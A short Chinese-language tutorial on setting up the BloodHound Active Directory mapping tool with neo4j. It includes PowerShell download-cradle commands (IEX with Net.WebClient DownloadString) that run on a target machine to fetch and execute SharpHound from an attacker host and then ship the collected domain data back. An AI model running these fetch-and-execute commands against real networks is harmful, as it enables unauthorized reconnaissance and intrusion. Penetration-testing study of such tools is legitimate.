跳至正文

BloodHound安装与使用

  • github下载(有毒,放在虚拟机中运行)

  • 虚拟机中安装neo4j数据库

    apt install neo4j -y

    *如果遇到网络问题,清理dns缓存sudo systemctl restart NetworkManager

  • 启动数据库并网页登录(账号密码neo4j)

    neo4j start
    neo4j console
    http://localhost:7474/browser/

    *第一次登录需要重置密码

  • 进入下载好的BloodHound目录下,执行

    ./BloodHound --no-sandbox
  • 目标机器执行(这是上传SharpHound的文件---用于收集域信息的)

    (NEW-OBJECT net.webclient).downloadFile('http://192.168.162.31:80/SharpHound.ps1','1.exe')

    *这将在执行此条语句的目录生成1.exe文件,有毒,会被杀软查杀

    IEX (NEW-OBJECT net.webclient).downloadstring('http://192.168.162.31:80/SharpHound.ps1');Invoke-BloodHound -c all

    *如果执行时,直接调用函数,可能报错,因为文件中可能没有此函数

  • 上传NET_Framwork4.6.2
    *以同样的方法上传此文件(因为要执行SharpHound必须要此文件,相当于补丁)

  • 依次执行NET_Framework4.6.2和SharpHound后,会在同级目录下生成两个文件(.bin和一个压缩包),压缩包传回攻击机的 BloodHound 中执行,即可进行数据分析。